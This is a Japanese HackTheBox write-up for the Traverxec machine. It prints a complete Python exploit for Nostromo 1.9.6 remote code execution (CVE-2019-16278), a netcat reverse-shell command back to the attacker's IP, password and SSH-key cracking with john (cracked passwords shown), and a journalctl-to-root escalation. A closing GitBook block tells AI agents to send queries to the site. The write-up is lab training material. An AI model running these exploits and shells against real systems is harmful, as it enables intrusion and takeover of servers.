> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/linux-easy/traverxec-hackthebox-writeup.md).

# Traverxec HackTheBox攻略記事

Nostromo悪用、Nostromo HomeDirs設定の悪用、journalctlの悪用（権限昇格）を扱うTraverxec HackTheBox Easy Linuxマシンの攻略記事。実践的な列挙、侵

{% embed url="<https://app.hackthebox.com/machines/217>" %}

{% hint style="warning" %}
**スキル:**

* Nostromo の悪用
* Nostromo の HomeDirs 設定の悪用
* Journalctl の悪用（権限昇格）
  {% endhint %}

## 偵察 <a href="#reconnaissance" id="reconnaissance"></a>

**作業環境の設定:**

重要なコンテンツ、エクスプロイト、Nmap の偵察結果を保存するために、3つのフォルダを作成して作業環境を整えます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-eca22ae2e632f87f6f641b263ff0d56bef901941%2Fimage%20(2403).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN 接続確認**

VPN の接続性を確認して、対象マシンとの安定した通信を確保します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a3f7279e955ba6a64848ddbe3878b73b0bfef23b%2Fimage%20(2404).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Nmap による開いているポートの検出:**

開いているポートを列挙し、結果を Nmap ディレクトリ内の「allPorts」ファイルに出力します:

```bash
nmap -p- -sS --open -vvv -n -Pn --min-rate 5000 10.10.10.165 -oG allPorts
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6cb37509bd5468d5262ff1fbc7698e386ca54b67%2Fimage%20(2405).png?alt=media" alt=""><figcaption></figcaption></figure>

**extractPorts による開いているポートの分析:**

extractPorts 関数を使用して、オープンポートを簡潔な形式で表示し、クリップボードにコピーします。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7b8bb6ccc9689de78cf1e2485d1a2e5ba1ab6881%2Fimage%20(2406).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Nmapによるポートバージョンスキャン：**

Nmap を使ってサービスのバージョンをスキャンし、出力を「targeted」ファイルに保存します:

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a7222dd192c490848caf65a7a02225726904bc4f%2Fimage%20(2407).png?alt=media" alt=""><figcaption></figcaption></figure>

DNS 経由でドメイン名を IP アドレスに解決するには、その IP アドレスに関連付けられたドメイン名を次の `/etc/hosts` ファイルに存在するユーザーに対して試します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e210b2bbfa4b40ea507fbe021dcb3de554becd42%2F%7B80C4E6F1-B1A0-447E-AC4C-4F918462D536%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

## ポート 80:

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-75707f4e9239c6d09f6dd5520b6a7a452a7c79af%2F%7B7EF12D3E-13E3-4CF6-8359-89892C20D858%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

を使用する `whatweb`、ここで Nostromo バージョン 1.9.6 を特定します:

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-088e9161fa995314522a1446412837281f71b1ba%2Fimage%20(2409).png?alt=media" alt=""><figcaption></figcaption></figure>

## Nostromo の悪用

**エクスプロイト検索**: で `searchploit`、Nostromo 1.9.6（CVE-2019-16278）向けの RCE エクスプロイトを見つけます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f7b763a32f98f5e2977619392858be4657fad15c%2Fimage%20(2408).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

GitHub からスクリプトをダウンロードします。

{% embed url="<https://github.com/aN0mad/CVE-2019-16278-Nostromo_1.9.6-RCE>" %}

**スクリプトの実行**: サーバー上でコマンドを実行するために次のスクリプトを使用します

```python
import argparse
import socket

# Setup Argparse
parser = argparse.ArgumentParser(description="Exploit for CVE-2019-16278 - Nostromo 1.9.6 RCE")
parser.add_argument("-t", "--target", help="Remote host to target")
parser.add_argument("-p", "--port", help="Remote port to target")
parser.add_argument("-c", "--command", help="Command to execute on the server")
parser.add_argument("-b", "--bytes", help="The number of bytes to receive back in the response")

# Define and assign the variables
args = parser.parse_args()
TARGET = args.target
PORT = int(args.port)
COMMAND = args.command
BYTES = args.bytes

if BYTES is None:
    BYTES = 4096
else:
    BYTES = int(BYTES)

URL = "/.%0d./.%0d./.%0d./.%0d./bin/sh HTTP/1.0"

# Build and encode the payload
payload = (f"POST {URL}/r/n"
           "Content-Length: 1/r/n/r/n"
           f"echo/necho/n{COMMAND} 2>&1").encode()

# Create the socket and send the payload
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TARGET, PORT))
s.send(payload)

# Receive the response and close the socket
print(s.recv(1024).decode())  # Decode the bytes back to string for printing
print(s.recv(BYTES).decode())
s.close()
```

```bash
python exploit.py -t 10.10.10.165 -p 80 -c whoami
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-033024af16e12fbfd8047ddba764013a75e3d527%2Fimage%20(2410).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**リバースシェルを取得**

```bash
python exploit.py -t 10.10.10.165 -p 80 -c bash -c 'nc -e /bin/bash 10.10.14.10 443'
```

```bash
sudo nc -nlvp 443
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bdec712e9c5b41877737bad009275abac37bdaa5%2Fimage%20(2411).png?alt=media" alt=""><figcaption></figcaption></figure>

#### ターミナルの改善

ターミナルを対話的にするには:

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

## 権限昇格 <a href="#suid-privilege-escalation" id="suid-privilege-escalation"></a>

**Nostromo 設定ファイルへのアクセス**:

その `nhttpd.conf` ファイルには、ファイルを示すディレクティブがあります `.htpasswd` の中に `/var/nostromo/conf` 認証情報が含まれています。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b100981988031d66ed0d47f6ac6309b3bcc1d79f%2Fimage%20(2412).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-adc29cfb5f17da098715b5c757806bf5461a94c6%2Fimage%20(2413).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

`david:$1$e7NfNpNi$A6nCwOTqrNR2oDuIKirRZ/`

**パスワードの復号**:

使用する `john` を使ってパスワードをクラックします:

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```

`david:Nowonly4me`

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d1ed22847a7918a05426900e0207f5a05ee29d39%2Fimage%20(2414).png?alt=media" alt=""><figcaption></figcaption></figure>

### Nostromo の HomeDirs 設定

{% hint style="info" %}
**背景:** Nostromo は、ユーザーが指定されたホームディレクトリ内で Web コンテンツをホストできるように設定されており、多くの場合 `public_www` として各自のホームディレクトリ（`/home/[user]/public_www`）に置かれます。この設定により、ユーザーは次のような URL で自分のページにアクセスできます `http://traverxec.htb/~[user]`.
{% endhint %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-242fc42effb5b210e9bbb71cb6665309ec13ff37%2Fimage%20(2415).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d2ed348dc48ddb4c6a7fd0b33ae07b9e82276f3a%2Fimage%20(2416).png?alt=media" alt=""><figcaption></figcaption></figure>

このファイルを参照すると、さらに `public_www` フォルダがユーザーの Web コンテンツのデフォルト保存先として記載されているのも見つかります。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5bcea2b3dfc1d22983e4ad13b7d7b3af31fadf61%2Fimage%20(2417).png?alt=media" alt=""><figcaption></figcaption></figure>

次にアクセスすると `http://traverxec.htb/~david` 隠しフォルダが見つかります `protected-file-area` にファイルが含まれています `.tgz`.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-37689238b117466f6fdea808268c59d5317bc8bd%2F%7B90879795-388B-44B2-9028-CA16D112CAE2%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**コンテンツのダウンロードと展開:**

次をダウンロードします `backup-ssh-identity-files.tgz` ファイル：

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e144dff2e7bddb6605b23290342d0beb5ea9403e%2F%7BFF58810F-36FF-466B-A751-D8B121742315%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

SSH キーを復元するために中身を展開しましょう:

`tar -xzf backup-ssh-identity-files.tgz`

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-381f36b881b14f6f1ee7438927c9640bd28728ad%2Fimage%20(2418).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### **SSH キーの復号:**

展開した SSH キーにはパスワードが設定されています。そこで `ssh2john` を使って、キーを `john` で使用できる形式に変換し、ブルートフォース攻撃を開始します:

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2492919bf52def516b34b8c2eb3ffbfc13c28367%2F%7B5368B79E-2E0F-45B7-8896-89E2EADC84F9%7D.png?alt=media" alt="" width="371"><figcaption></figcaption></figure>

```bash
ssh2john id_rsa > id_rsa.hash
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0e55aabde216a35d71e3ea0e41d750058f903379%2Fimage%20(2419).png?alt=media" alt=""><figcaption></figcaption></figure>

```bash
john -w:/usr/share/SecLists/Passwords/Leaked-Databases/rockyou.txt id_rsa.hash
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5133da9c42297e8e8c5f98f0335a4dc53fa0e42f%2Fimage%20(2420).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

見つかったパスワード： `hunter`.

```bash
ssh -i id_rsa david@10.10.10.165
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-07aedad3a3c39ec61f5f7597c19239997d63d445%2Fimage%20(2421).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### user.txtフラグ

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e2cd9abd7676ecd19ae0e5ff5be89960a79c9542%2Fimage%20(2422).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

## Journalctl の悪用:

{% hint style="info" %}
スクリプトが見つかりました、 `server-stats.sh`、の `/bin` ディレクトリ内にあります。このスクリプトは `/usr/bin/journalctl` コマンドを sudo 権限で実行するように設定されています。つまり、このコマンドを悪用して root 権限を取得できます
{% endhint %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c85d645312425f2066339222d0c88a04d34a92e8%2Fimage%20(1141).png?alt=media" alt=""><figcaption></figcaption></figure>

**GTFOBins で脆弱性を検索:**

* GTFOBins を見ると、 `journalctl` はシェルコマンドを発行することで権限昇格に利用できることがわかります。

{% embed url="<https://gtfobins.github.io/gtfobins/journalctl/>" %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c538ffed75cd2cf69914bc74acb001c051bd943a%2F%7B8538B02D-B4A2-4564-8B19-6F13D68A4D62%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**実行条件:**

この悪用を発動させるには、ターミナルウィンドウのサイズを制限して、 `less` のページングモードを有効化する必要があります。 `journalctl`このモードでは、次を介してシェルコマンドを実行できます `!`.

```bash
/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-412b84580d5e82a85cb399f39e5d6c6173c243f9%2Fimage%20(1142).png?alt=media" alt=""><figcaption></figcaption></figure>

一度 `less` モードに入ったら、root シェルを取得するために次のコマンドを入力します:

```bash
!/bin/sh
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0f99f5c62600d4373730c20c8f04620c369c6ee9%2Fimage%20(1143).png?alt=media" alt=""><figcaption></figcaption></figure>

### root.txt フラグ :)

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b2895872cab3ac8c09a0ed99c92cb86017d8e3ea%2Fimage%20(1144).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-12f8f1ffd5171fbf08a0857a77568549eba1a7e6%2F%7BB46E9EDF-28EB-4C14-BBEA-7C138AEEEF6F%7D.png?alt=media" alt="" width="518"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/linux-easy/traverxec-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
